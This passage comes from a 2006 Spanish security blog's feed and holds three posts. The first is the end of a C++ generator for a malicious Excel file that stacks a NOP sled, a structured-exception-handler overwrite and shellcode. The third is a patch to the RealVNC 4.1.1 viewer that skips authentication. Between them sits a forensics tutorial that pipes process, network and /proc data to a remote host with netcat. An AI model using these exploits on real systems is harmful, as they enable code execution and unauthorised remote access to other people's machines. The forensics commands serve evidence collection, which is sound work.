0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x8B, 0x1A, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;0x00, 0x00, 0x00, 0x00, 0x00,&lt;br /&gt;       0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00,&lt;br /&gt;0x00, 0x00, 0x03, 0x00, 0x00,&lt;br /&gt;       0x00, 0x04, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x06, 0x00,&lt;br /&gt;0x00, 0x00, 0x07, 0x00, 0x00,&lt;br /&gt;       0x00, 0x08, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x0A, 0x00,&lt;br /&gt;0x00, 0x00, 0x0B, 0x00, 0x00,&lt;br /&gt;       0x00, 0x0C, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0xFE, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFE, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;0xFF, 0xFF, 0xFF, 0xFF, 0xFF,&lt;br /&gt;       0xFF, 0xFF, 0xFF, 0xFF, 0xFF&lt;br /&gt;};&lt;br /&gt;&lt;br /&gt;char *filename="ExcelPOC.xls";&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt;       ofstream ofs;&lt;br /&gt;&lt;br /&gt;       ofs.open(filename,ios::binary | ios::out);&lt;br /&gt;&lt;br /&gt;       printf("Generating Excel File ...\n\n");&lt;br /&gt;&lt;br /&gt;       for(int z=0;z&amp;lt;sizeof(stream1);z++)&lt;br /&gt;               ofs.put(stream1[z]);&lt;br /&gt;&lt;br /&gt;       ofs.put('\x2E');                // Buffer size , that we are going to fill = 0x152E&lt;br /&gt;       ofs.put('\x15');&lt;br /&gt;       ofs.put('\0');&lt;br /&gt;       ofs.put('\0');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;       for(int i=0;i&amp;lt;=seh_off;i++)&lt;br /&gt;               ofs.put('\x90');&lt;br /&gt;&lt;br /&gt;       ofs.put('\xEB');&lt;br /&gt;       ofs.put('\x06');&lt;br /&gt;       ofs.put('\x90');&lt;br /&gt;       ofs.put('\x90');&lt;br /&gt;&lt;br /&gt;       for(z=0;z&amp;lt;4;z++)&lt;br /&gt;               ofs.put(ret_address[3-z]);&lt;br /&gt;&lt;br /&gt;       ofs.put('\x90');&lt;br /&gt;       i+=9;&lt;br /&gt;&lt;br /&gt;       for(unsigned int j=0;j&amp;lt;strlen((const char*)shellcode);i++,j++)&lt;br /&gt;               ofs.put(shellcode[j]);&lt;br /&gt;&lt;br /&gt;       for(;i&amp;lt;=buff_size-4;i++)&lt;br /&gt;               ofs.put('\x90');&lt;br /&gt;&lt;br /&gt;       for(z=0;z&amp;lt;sizeof(stream2);z++)&lt;br /&gt;               ofs.put(stream2[z]);&lt;br /&gt;&lt;br /&gt;       ofs.close();&lt;br /&gt;&lt;br /&gt;       printf("File Written ...\n\n");&lt;br /&gt;       return 0;&lt;br /&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115100285056253377?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115100285056253377/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115100285056253377' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115100285056253377'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115100285056253377'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/prueba-de-concepto-ms-excel-remote.html' title='Prueba de concepto: MS Excel Remote Code Execution Exploit'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115066982055493201</id><published>2006-06-19T00:17:00.000+02:00</published><updated>2006-06-19T15:15:53.800+02:00</updated><title type='text'>Análisis forense - Linux: Adquisición de datos Volátiles</title><content type='html'>Los &lt;span style="font-style: italic;"&gt;"Datos Volátiles"&lt;/span&gt;, son aquellos que desaparecen cuando un sistema se apaga o se reinicia, por lo que extraer la máxima información de estos datos, puesto que es muy importante a la hora de recopilar pruebas cuando un sistema ha sido comprometido. Espero que este post os sea de ayuda!&lt;br /&gt;&lt;br /&gt;Para recojer estos datos, es muy importante que en el equipo atacado, no ejecutemos ningún comando o herramienta por peligro a que pueda haber sido troyanizada. Para ello procederemos a ejecutar los binarios compilados estáticamente directamente desde un CD-ROM.&lt;br /&gt;&lt;br /&gt;Para empezar, utilizaremos un equipo no comprometido para el almacenamiento de las pruebas en red, esto lo haremos ejecutando el siguiente comando en el equipo:&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;nc -l -p 9000 &gt; data.dat&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;Así, pondremos a la escucha un puerto donde le iremos enviando la información desde la máquina comprometida.&lt;/span&gt;&lt;span style="color: rgb(0, 0, 0); font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;Procederemos a listar los ficheros abiertos por los procesos para así detectar algún proceso/fichero sospechoso:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/lsof -n | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;&lt;/span&gt;Listamos las conexiones establecidas por los procesos:&lt;br /&gt;&lt;span style="font-style: italic;"&gt; &lt;br /&gt;&lt;span style="font-weight: bold;"&gt;    /mnt/cdrom/netstat -nap | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Además, listamos la tabla de rutas:&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/netstat -nr | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Es importante hacer un análisis de puertos desde una máquina externa i compararla con la salida de netstat para poder asegurarnos que no hemos perdido de vista ningún proceso escuchando en ningún puerto, para ello usaremos &lt;span style="font-style: italic;"&gt;nmap:&lt;br /&gt;&lt;br /&gt;  &lt;span style="font-weight: bold;"&gt;nmap -sS -p 1- IP_COMPROMETIDO&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Listamos los ficheros que han sido eliminados pero que aún siguen abiertos por algún proceso en ejecución, esta utilidad, la encontraremos en el conjunto de herramientas de análisis forense &lt;a href="http://www.porcupine.org/forensics/tct.html"&gt;The Coroner's Toolkit:&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/ils -o /dev/hda1 | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Listamos los procesos en ejecución:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/ps -el | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Si mediante la orden anterior, encontráramos algún proceso sospechoso, podríamos analizarlo con la siguiente herramienta (también disponible en &lt;a href="http://www.porcupine.org/forensics/tct.html"&gt;The Coroner's Toolkit&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/pcat &lt;/span&gt;&lt;/span&gt;&lt;pid&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt; | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Listaremos los usuarios conectados en el sistema:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    &lt;span style="font-weight: bold;"&gt;/mnt/cdrom/who -uHl | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Para finalizar guardamos el proc, en el cual obtendremos información acerca de los procesos:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic; font-weight: bold;"&gt;/mnt/cdrom/tar cf - /proc | /mnt/cdrom/nc -w 3 IP 9000&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Con estos pasos, habremos recopilado mucha información acerca de la intrusión. Para hacer un análisis más exaustivo, habríamos de recopilar datos no volátiles mediante herramientas de Integridad de Ficheros, localización de ficheros borrados, tiempos MAC, etc... de los cuales hablaré en un siguiente post.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Referencias:&lt;br /&gt;Know your enemy:: Honeynet Project&lt;/pid&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115066982055493201?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115066982055493201/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115066982055493201' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115066982055493201'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115066982055493201'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/anlisis-forense-linux-adquisicin-de.html' title='Análisis forense - Linux: Adquisición de datos Volátiles'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115049774320956603</id><published>2006-06-17T00:28:00.000+02:00</published><updated>2006-06-19T08:37:46.500+02:00</updated><title type='text'>Prueba de Concepto: explotar el fallo de autentificación del servidor VNC de RealVNC 4.1.1.</title><content type='html'>&lt;o:p&gt;&lt;/o:p&gt;Primero deberemos obtener las fuentes para poder modificarlas desde la web de RealVNC en este link: &lt;a href="http://www.realvnc.com/cgi-bin/download.cgi"&gt;http://www.realvnc.com/cgi-bin/download.cgi&lt;/a&gt; y descargándonos &lt;b&gt;VNC Free Edition Source Code for Java &lt;/b&gt;Version 4.1.     &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;br /&gt;Una vez obtenidas las fuentes, procederemos a modificarlas. Para ello accederemos al fichero &lt;i style=""&gt;vnc-4_1-javasrc\java\rfb\CConnection.java&lt;/i&gt;, editamos el fichero y accedemos a la linea 229, donde encontraremos el siguiente código:&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;br /&gt;&lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(230, 230, 230) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;    &lt;/span&gt;if (secType != SecTypes.invalid) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt; &lt;/span&gt;&lt;span style=""&gt;          &lt;/span&gt;os.writeU8(secType);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;os.flush();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;vlog.debug("Choosing security   type "+SecTypes.name(secType)+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;                   &lt;/span&gt;&lt;/span&gt;"("+secType+")");&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;      &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;    &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;    &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;br /&gt;Pues bien, este exploit es tan simple como añadir la siguiente línea:&lt;/p&gt;  &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;  &lt;table class="MsoTableGrid" style="border: medium none ; background: rgb(230, 230, 230) none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial; border-collapse: collapse;" border="1" cellpadding="0" cellspacing="0"&gt;  &lt;tbody&gt;&lt;tr style=""&gt;   &lt;td style="border: 1pt solid windowtext; padding: 0cm 5.4pt; width: 432.2pt;" valign="top" width="576"&gt;   &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;    &lt;/span&gt;&lt;span style="" lang="EN-GB"&gt;if (secType != SecTypes.invalid) {&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;&lt;b style=""&gt;secType   = SecTypes.none;&lt;o:p&gt;&lt;/o:p&gt;&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;os.writeU8(secType);&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;os.flush();&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;        &lt;/span&gt;vlog.debug("Choosing security   type "+SecTypes.name(secType)+&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style="" lang="EN-GB"&gt;&lt;span style=""&gt;                   &lt;/span&gt;&lt;/span&gt;"("+secType+")");&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;      &lt;/span&gt;}&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;   &lt;p class="MsoNormal"&gt;&lt;span style=""&gt;    &lt;/span&gt;}&lt;/p&gt;   &lt;/td&gt;  &lt;/tr&gt; &lt;/tbody&gt;&lt;/table&gt;      &lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;br /&gt; &lt;/o:p&gt;&lt;br /&gt;Voilá, ahora solo tenemos que compilar y ejecutar vncviewer mediante:&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;&lt;i style=""&gt;java.exe -jar vnc-4_1-javasrc\java\vncviewer.jar&lt;o:p&gt;&lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;    &lt;p class="MsoNormal"&gt;&lt;i style=""&gt;&lt;o:p&gt; &lt;/o:p&gt;&lt;/i&gt;&lt;/p&gt;&lt;p class="MsoNormal"&gt;La autentificación se salta y accedemos al equipo.&lt;o:p&gt;&lt;/o:p&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/29362263-115049774320956603?l=skarvin.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://skarvin.blogspot.com/feeds/115049774320956603/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=29362263&amp;postID=115049774320956603' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115049774320956603'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/29362263/posts/default/115049774320956603'/><link rel='alternate' type='text/html' href='http://skarvin.blogspot.com/2006/06/prueba-de-concepto-explotar-el-fallo.html' title='Prueba de Concepto: explotar el fallo de autentificación del servidor VNC de RealVNC 4.1.1.'/><author><name>skarvin</name><uri>http://www.blogger.com/profile/01024146001745496577</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-29362263.post-115049606744442033</id><published>2006-06-17T00:14:00.002+02:00</published><updated>2008-02-20T01:01:31.597+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='backdoor'/><category scheme='http://www.blogger.com/atom/ns#' term='netcat'/><title 